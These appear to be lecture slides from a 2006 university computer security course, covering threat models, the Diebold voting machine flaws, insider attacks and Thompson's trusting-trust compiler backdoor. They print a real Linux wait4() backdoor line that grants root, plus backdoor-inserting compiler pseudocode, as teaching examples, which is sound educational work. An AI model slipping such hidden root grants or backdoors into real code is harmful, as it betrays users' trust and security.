View
226
Download
0
Embed Size (px)
Citation preview
Computer Security
Dan Boneh and John Mitchell
CS 155 Spring 2006
What’s this course about?
Some challenging fun projects Learn about attacks Learn about preventing attacks
Lectures on many topics Application security Operating system security Network security not a course on Cryptography (take
CS255)
General course info (see web)
Prerequisite: Operating systems (CS140)Textbook: none – reading onlineCoursework 3 projects, 2 homeworks, final exam grade: 0.3 H + 0.5 P + 0.2 F
Teaching assistants Colin Jackson, Eu-Jin Goh Office hours: see web site
Optional section Friday, 3:15 - 4:05, Gates B01 (live on E3)
Why computer security?
People attack systems and do damage Why do they do it?
Bored teenagers, Ukrainian criminals, rogue states, industrial espionage, angry employees, …
How do they do it? Physical access, network attacks Exploit vulnerabilities in applications and security
mechanisms How can we prevent attacks and/or limit
their consequences? No silver bullet; buggy code is serious problem Large collection of specific methods for specific
purposes
Security concepts and terms
Secure Guarantee specific properties against a
class of possible attacks
Sample security properties Confidentiality, integrity, availability, …
Threat models Access to network, keyboard, memory bus Can install code on system? As what user? Password dictionary, timing information, …
How big is the security problem?
0
1000
2000
3000
4000
5000
6000
1995 1997 1999 2001 2003 2005
http://www.cert.org/stats/
CERT Vulnerabilities reported
Why does this happen?
Lots of buggy software... Why do programmers write insecure code? Awareness is the main issue
Some contributing factors Few courses in computer security Programming text books do not emphasize security Few security audits C is an unsafe language Programmers are lazy Legacy software (some solutions, e.g. Sandboxing) Consumers do not care about security Security is expensive and takes time
Ethical use of security information
We discuss vulnerabilities and attacks Most vulnerabilities have been fixed Some attacks may still cause harm Do not try these at home
Purpose of this class Learn to prevent malicious attacks Use knowledge for good purposes
Law enforcement
Sean Smith Melissa virus: 5 years in prison, $150K fine
Ehud Tenenbaum (“The Analyzer”) Broke into US DoD computers 6 mos service, suspended prison, $18K fine
Dmitry Sklyarov Broke Adobe ebooks Prosecuted under DMCA
Example: voting machine
Standard hardwareCommercial OS
Many run WinCEProgrammable
Specify electionSmartcard authentication
Invalidate card when done
Data output Network, or Place disk in another
computer
Basic security analysis
What is voting system supposed to do? Correctly count votes One person, one vote Voter privacy Prohibit vote selling Allow recount, provide confidence in results
Who might attack system? Voter wants to vote twice Election worker Programmer working for voting machine
company
Assurance
Testing “Testing can reveal the presence of bugs
but not their absence”
Follow design and coding process Many certification processes involve process
but not quality of results
Code analysis Third-party code walkthroughs Automated tools
Diebold Case Study
Proprietary system Certification mandated by election laws
Without public review: Security through obscurity
Diebold system leaked AccuVote-TS DRE system, Oct 2000 - April
2002 Available on open ftp server Identified by activist Bev Harris Some zip files, cvs repository
DMCA concern over zip “encryption” Available on New Zealand site
T. Kohno, A. Stubblefield, A. Rubin, D. Wallach
Some problems
Encrypted votes and audit logs #define DESKEY
((des_key*)"F2654hD4")
No authentication of smartcard to voting terminalInsufficient code review
Sample comment in code
// LCG - Linear Conguential Generator// used to generate ballot serial numbers// A psuedo-random-sequence generator // (per Applied Cryptography, // by Bruce Schneier, Wiley, 1996)
- BallotResults.cppDiebold Election Systems
Unfortunately, linear congruential generators cannot be used for cryptography”
Page 369Applied Cryptography, by Bruce Schneier
Other problemsSmartcards use no cryptographyVotes kept in sequential orderSeveral glaring errors in cryptographyInadequate security engineering practicesDefault Security PINs of 1111 on administrator cardsWindows Operating System tens of millions of lines of code new “critical” security bugs announced
frequently
Difficult problem: insider threat
Easy to hide code in large software packagesVirtually impossible to detect back doorsSkill level needed to hide malicious code is much lower than needed to find itAnyone with access to development environment is capableRequires background checks strict development rules physical security
slides: Avi Rubin
Example insider attack
Hidden trap door in Linux, Nov 2003 Allows attacker to take over a computer Practically undetectable change Uncovered by anomaly in CVS usage
Inserted line in wait4()
Looks like a standard error check Anyone see the problem?
if ((options == (__WCLONE|__WALL)) && (current->uid = 0))
retval = -EINVAL;
See: http://lwn.net/Articles/57135/
Example #2
Rob Harris case - slot machines an insider: worked for Gaming Control Board
Malicious code in testing unit when testers checked slot machines
downloaded malicious code to slot machine was never detected special sequence of coins activated “winning
mode”
Caught when greed sparked investigation $100,000 jackpot
Example #3
Breeder’s cup race Upgrade of software to phone betting
system Insider, Christopher Harn, rigged software Allowed him and accomplices to call in
change the bets that were placed undetectable
Caught when got greedy won $3 million
http://horseracing.about.com/library/weekly/aa110102a.htm
Software dangers
Software is complex top metric for measuring number of flaws
is lines of code
Windows Operating System tens of millions of lines of code new “critical” security bug announced
every week
Unintended security flaws unavoidableIntentional security flaws undetectable
Ken Thompson
What code can we trust? Consider "login" or "su" in Unix Is RedHat binary reliable? Does it send your passwd to someone?
Can't trust binary so check source, recompile Read source code or write your own Does this solve problem?
Reflections on Trusting Trust, http://www.acm.org/classics/sep95/
Compiler backdoor
This is the basis of Thompson's attack Compiler looks for source code that
looks like login program If found, insert login backdoor (allow
special user to log in)
How do we solve this? Inspect the compiler source
C compiler is written in C
Change compiler source S compiler(S) {
if (match(S, "login-pattern")) { compile (login-backdoor) return } if (match(S, "compiler-pattern")) { compile (compiler-backdoor) return } .... /* compile as usual */ }
Clever trick to avoid detection
Compile this compiler and delete backdoor tests from source
Someone can compile standard compiler source to get new compiler, then compile login, and get login with backdoor
Simplest approach will only work once Compiling the compiler twice might lose the backdoor But can making code for compiler backdoor output
itself (Can you write a program that prints itself? Recursion thm)
Read Thompson's article Short, but requires thought
Social engineering
Many examples We are not going to talk about social
engineering a lot, but good to remember that there are many attacks that don't use computers
Call system administrator Dive in the dumpster Online version
send trojan in email picture or movie with malicious code
Questions?